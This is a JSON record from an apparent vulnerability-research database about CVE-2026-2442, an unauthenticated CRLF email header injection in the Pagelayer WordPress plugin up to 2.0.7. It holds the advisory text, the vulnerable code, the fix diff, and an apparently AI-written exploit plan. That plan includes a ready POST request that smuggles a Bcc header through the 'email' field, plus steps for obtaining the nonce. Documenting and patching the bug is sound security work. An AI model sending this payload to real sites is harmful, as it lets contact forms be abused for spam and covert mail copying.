[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fxiXNphjtFb7Hk1QhwMXSDXunvPwHfwGnQW5f-XNjqps":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-2442","pagelayer-improper-neutralization-of-crlf-sequences-to-unauthenticated-email-header-injection-via-email","Pagelayer \u003C= 2.0.7 - Improper Neutralization of CRLF Sequences to Unauthenticated Email Header Injection via 'email'","The Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress is vulnerable to Improper Neutralization of CRLF Sequences ('CRLF Injection') in all versions up to, and including, 2.0.7. This is due to the contact form handler performing placeholder substitution on attacker-controlled form fields and then passing the resulting values into email headers without removing CR\u002FLF characters. This makes it possible for unauthenticated attackers to inject arbitrary email headers (for example Bcc \u002F Cc) and abuse form email delivery via the 'email' parameter granted they can target a contact form configured to use placeholders in mail template headers.","pagelayer",null,"\u003C=2.0.7","2.0.8","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Improper Neutralization of CRLF Sequences ('CRLF Injection')","2026-03-27 20:45:22","2026-03-28 09:27:10",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fce101aad-10a3-4a8c-9f4a-0e38e35b4dab?source=api-prod",1,[22,23,24,25,26,27],"css\u002Fpagelayer-editor.css","init.php","main\u002Fajax.php","main\u002Ffunctions.php","pagelayer.php","readme.txt","researched",false,3,"## Vulnerability Summary\n\nThe **Pagelayer** plugin for WordPress (versions \u003C= 2.0.7) is vulnerable to **CRLF Injection** in its contact form handling logic. The plugin performs placeholder substitution (e.g., replacing `[email]` with the user-provided email address) in email templates, including headers like `From` or `Reply-To`. Because the plugin fails to sanitize or neutralize Carriage Return (`\\r` \u002F `%0D`) and Line Feed (`\\n` \u002F `%0A`) characters in the `email` parameter before using it in the headers of a `wp_mail()` call, an unauthenticated attacker can inject arbitrary email headers such as `Bcc:` or `Cc:`. This allows the contact form to be abused for spamming or unauthorized email delivery.\n\n## Attack Vector Analysis\n\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `pagelayer_contact_form` (inferred from common plugin naming and widget context).\n*   **Vulnerable Parameter:** `email`\n*   **Authentication:** Unauthenticated (PR:N)\n*   **Preconditions:** A contact form must be created (usually via a shortcode) and configured to use the `[email]` placeholder in its mail headers (which is the default behavior for \"Reply-To\").\n\n## Code Flow\n\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with the action `pagelayer_contact_form`.\n2.  **Handler Registration:** The plugin registers the handler via `add_action('wp_ajax_nopriv_pagelayer_contact_form', ...)` (likely located in `main\u002Fclass.php` or a widget-specific file).\n3.  **Input Processing:** The handler retrieves the `email` parameter using `pagelayer_optreq('email')`.\n4.  **Sanitization Check:** `pagelayer_optreq` calls `pagelayer_inputsec()` (found in `main\u002Ffunctions.php`), which only performs `addslashes()` and escapes backticks. It does **not** strip CRLF characters.\n5.  **Substitution:** The handler takes an email header template (e.g., `Reply-To: [email]`) and performs a string replacement:\n    `$headers = str_replace('[email]', $user_email, $header_template);`\n6.  **Sinking:** The resulting `$headers` string, now containing injected newlines and additional headers, is passed directly to the `wp_mail()` function:\n    `wp_mail($to, $subject, $message, $headers);`\n\n## Nonce Acquisition Strategy\n\nThe Pagelayer contact form requires a nonce for submission. Based on `main\u002Fajax.php`, the plugin uses the key `pagelayer_nonce` and the action `pagelayer_ajax`.\n\n1.  **Identify Shortcode:** The contact form is likely rendered via the shortcode `[pl_contact_form]` (based on `PAGELAYER_SC_PREFIX` being `pl`).\n2.  **Create Test Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Contact Test\" --post_status=publish --post_content='[pl_contact_form id=\"1\"]'\n    ```\n3.  **Navigate and Extract:** Use the `browser_navigate` tool to open the created page.\n4.  **Browser Evaluation:** Execute JavaScript to find the nonce and form settings.\n    ```javascript\n    \u002F\u002F Pagelayer typically localizes these in a global object\n    browser_eval(\"window.pagelayer_config?.nonce || window.pagelayer_ajax_nonce || pagelayer_settings?.nonce\")\n    ```\n    *Note: If the nonce is not in a global variable, the agent should inspect the form HTML for a hidden input named `pagelayer_nonce`.*\n\n## Exploitation Strategy\n\n### 1. Preparation\nCreate a page with a contact form to ensure the widget is active and the nonce is generated.\n\n### 2. Header Injection Payload\nThe goal is to inject a `Bcc` header.\n*   **Payload:** `victim@example.com%0D%0ABcc:attacker@example.com`\n*   **Target Parameter:** `email`\n\n### 3. HTTP Request (via `http_request` tool)\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=pagelayer_contact_form&\npagelayer_nonce=[EXTRACTED_NONCE]&\nid=1&\nemail=test%40example.com%0D%0ABcc%3Apwned%40target.com&\nname=Attacker&\nsubject=Hello&\nmessage=This+is+a+test+message\n```\n*(Parameters like `id`, `name`, and `message` may vary depending on the form's configuration; the agent should inspect the form fields on the test page.)*\n\n## Test Data Setup\n\n1.  **Plugin Installation:** Ensure Pagelayer \u003C= 2.0.7 is active.\n2.  **Mock Form:** Create a page with the contact form widget.\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_content='[pl_contact_form]'\n    ```\n3.  **Mail Logging:** To verify the exploit without a real SMTP server, install a mail logging plugin or add a snippet to `functions.php`:\n    ```bash\n    wp eval \"add_filter('wp_mail', function(\\$args){ error_log('MAIL_HEADERS: ' . \\$args['headers']); return \\$args; });\"\n    ```\n\n## Expected Results\n\n1.  The plugin accepts the request and returns a success JSON response (e.g., `{\"success\": true}`).\n2.  The injected `Bcc:pwned@target.com` header is processed by PHP's `mail()` function (via `wp_mail`).\n3.  In the `debug.log` (if logging is enabled), the headers will show a newline followed by the injected header:\n    ```text\n    Reply-To: test@example.com\n    Bcc:pwned@target.com\n    ```\n\n## Verification Steps\n\n1.  **Check Logs:** Use `wp_cli` to check the error log for the injected string.\n    ```bash\n    tail -n 20 wp-content\u002Fdebug.log | grep \"Bcc:pwned\"\n    ```\n2.  **Verify Nonce Usage:** If the request returns a `403` or a nonce error, verify the nonce action string by grepping the source for `check_ajax_referer` calls related to contact forms.\n\n## Alternative Approaches\n\n*   **Different Placeholders:** If the `email` parameter is not used in headers by default, try other fields like `subject` if they are substituted into the header string.\n*   **Form ID Discovery:** If the `id` parameter is required but unknown, use `browser_eval` to find the `data-id` or `id` attribute of the `.pagelayer-contact-form` element.\n*   **Direct Action Probe:** If `pagelayer_contact_form` is incorrect, search the plugin directory for any `wp_ajax_nopriv` registration:\n    ```bash\n    grep -r \"wp_ajax_nopriv\" wp-content\u002Fplugins\u002Fpagelayer\u002F\n    ```","The Pagelayer plugin for WordPress is vulnerable to CRLF Injection because its contact form handler fails to sanitize newline characters in user-provided inputs before substituting them into email headers. This allows unauthenticated attackers to inject arbitrary headers such as Bcc or Cc into emails sent by the plugin, facilitating the use of the site's server for unauthorized email delivery or spamming.","\u002F\u002F main\u002Ffunctions.php line 283\nfunction pagelayer_inputsec($string){\n\n\t$string = addslashes($string);\n\n\t\u002F\u002F This is to replace ` which can cause the command to be executed in exec()\n\t$string = str_replace('`', '\\` grade', $string);\n\n\treturn $string;\n}\n\n---\n\n\u002F\u002F main\u002Fajax.php line 1344\n\t\u002F\u002F Do parse a variables\n\t$to_mail = pagelayer_replace_vars($to_mail, $formdata, '$');\n\t$from_mail = pagelayer_replace_vars($from_mail, $formdata, '$');\n\t$subject = pagelayer_replace_vars($subject, $formdata, '$');\n\t$headers = pagelayer_replace_vars($headers, $formdata, '$');\n\t$body = pagelayer_replace_vars($body, $formdata, '$');\n\t\n\t\u002F\u002F (lines 1391-1394)\n\t\u002F\u002F Send the email\n\tif(!empty($to_mail)){\n\t\twp_mail($to_mail, $subject, $body, $headers);\n\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.7\u002Fmain\u002Fajax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.8\u002Fmain\u002Fajax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.7\u002Fmain\u002Fajax.php\t2025-10-24 13:19:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.8\u002Fmain\u002Fajax.php\t2026-02-18 10:29:02.000000000 +0000\n@@ -1343,38 +1334,52 @@\n \t\t$body .= \"\\n\\n --\\n This e-mail was sent from a contact form (\".get_home_url().\")\";\n \t\n \t}\n-\t\n-\t\u002F\u002F Dow we have a reply to in the headers ?\n-\tif(!preg_match('\u002Freply\\-to\u002Fis', $headers) && !empty($reply_to)){\n-\t\t$headers .= \"Reply-To: $reply_to\\n\";\n-\t}\n-\t\n \t\u002F\u002F Add attachment\n \tif(!empty($_FILES)){\n \t\tadd_action('phpmailer_init', 'pagelayer_cf_email_attachment', 10, 1);\n \t}\n \t\n+\t$sanitized_data = array();\n+\t\n \t\u002F\u002F If we are using HTML, then we should escape html as well\n-\tif(!empty($use_html)){\n-\t\tforeach($formdata as $k => $i){\n-\t\t\t\n-\t\t\tif(is_array($i)){\n-\t\t\t\t$i = pagelayer_flat_join($i);\n-\t\t\t}\n-\t\t\t\n-\t\t\t$formdata[$k] = esc_html($i);\n+\tforeach($formdata as $k => $i){\n+\t\t\n+\t\tif(is_array($i)){\n+\t\t\t$i = pagelayer_flat_join($i);\n+\t\t}\n+\t\t\n+\t\t$i = pagelayer_esc_crlf($i);\n+\t\t\n+\t\tif(!empty($use_html)){\n+\t\t\t$i = esc_html($i);\n+\t\t}\n+\t\t\n+\t\t\u002F\u002F Sanitize text field\n+\t\t$i = sanitize_text_field($i);\n+\t\t\n+\t\t\u002F\u002F Record a reply to if it is to be used\n+\t\tif(is_email($i) && empty($reply_to)){\n+\t\t\t$reply_to = $i;\n \t\t}\n+\t\t\n+\t\t$sanitized_data[$k] = $i;\t\n+\t}\n+\t\n+\t\u002F\u002F Dow we have a reply to in the headers ?\n+\tif(!preg_match('\u002Freply\\-to\u002Fis', $headers) && !empty($reply_to)){\n+\t\t$headers .= \"Reply-To: $reply_to\\n\";\n \t}\n \t\n \t\u002F\u002F Add Site Title as option in formdata\n-\t$formdata['site_title'] = get_bloginfo( 'name' );\n+\t$sanitized_data['site_title'] = get_bloginfo( 'name' );\n \t\n \t\u002F\u002F Do parse a variables\n-\t$to_mail = pagelayer_replace_vars($to_mail, $formdata, '$');\n-\t$from_mail = pagelayer_replace_vars($from_mail, $formdata, '$');\n-\t$subject = pagelayer_replace_vars($subject, $formdata, '$');\n-\t$headers = pagelayer_replace_vars($headers, $formdata, '$');\n-\t$body = pagelayer_replace_vars($body, $formdata, '$');\n+\t$to_mail = pagelayer_replace_vars($to_mail, $sanitized_data, '$');\n+\t$from_mail = pagelayer_replace_vars($from_mail, $sanitized_data, '$');\n+\t$subject = pagelayer_replace_vars($subject, $sanitized_data, '$');\n+\t$headers = pagelayer_replace_vars($headers, $sanitized_data, '$');\n+\t$body = pagelayer_replace_vars($body, $sanitized_data, '$');\n \t\n \tif ( $use_html && ! preg_match( '%\u003Chtml[>\\s].*\u003C\u002Fhtml>%is', $body ) ) {\n \t\t$header = '\u003C!doctype html>\n@@ -1387,7 +1392,7 @@\n \t\t$body = $header . wpautop( $body ) . $footer;\n \t}\n \t\n-\t$to_mail = apply_filters('pagelayer_contact_send', $to_mail, $formdata);\n+\t$to_mail = apply_filters('pagelayer_contact_send', $to_mail, $sanitized_data);\n \t\n \t\u002F\u002F Send the email\n \tif(!empty($to_mail)){\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.7\u002Fmain\u002Ffunctions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.8\u002Fmain\u002Ffunctions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.7\u002Fmain\u002Ffunctions.php\t2025-12-04 14:22:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpagelayer\u002F2.0.8\u002Fmain\u002Ffunctions.php\t2026-02-18 10:29:02.000000000 +0000\n@@ -3984,3 +3984,14 @@\n \t\n \treturn false;\n }\n+\n+function pagelayer_esc_crlf($value){\n+\n+    \u002F\u002F Remove CRLF to prevent header injection\n+    $value = str_replace(array(\"\\r\", \"\\n\", \"%0a\", \"%0d\"), '', $value);\n+\n+    \u002F\u002F Trim spaces\n+    $value = trim($value);\n+\n+    return $value;\n+}","1. Identify a page on the target WordPress site that contains a Pagelayer contact form widget.\n2. Obtain a valid AJAX nonce by inspecting the page source for the `pagelayer_nonce` or `pagelayer_settings` object.\n3. Construct an unauthenticated AJAX request to `wp-admin\u002Fadmin-ajax.php` with the action `pagelayer_contact_form`.\n4. In the `email` parameter, inject a payload containing a valid email followed by URL-encoded CRLF characters and a malicious header, such as `victim@example.com%0D%0ABcc:attacker@example.com`.\n5. When the plugin processes the form, the `pagelayer_replace_vars` function substitutes the malicious `email` value into the `$headers` string without neutralizing the newlines.\n6. The final call to `wp_mail()` sends the email including the injected Bcc header, allowing the attacker to receive a copy of the message or use the server to send emails to external addresses.","gemini-3-flash-preview","2026-04-17 22:31:19","2026-04-17 22:32:02",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.0.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpagelayer\u002Ftags\u002F2.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpagelayer.2.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpagelayer\u002Ftags\u002F2.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpagelayer.2.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpagelayer\u002Ftags"]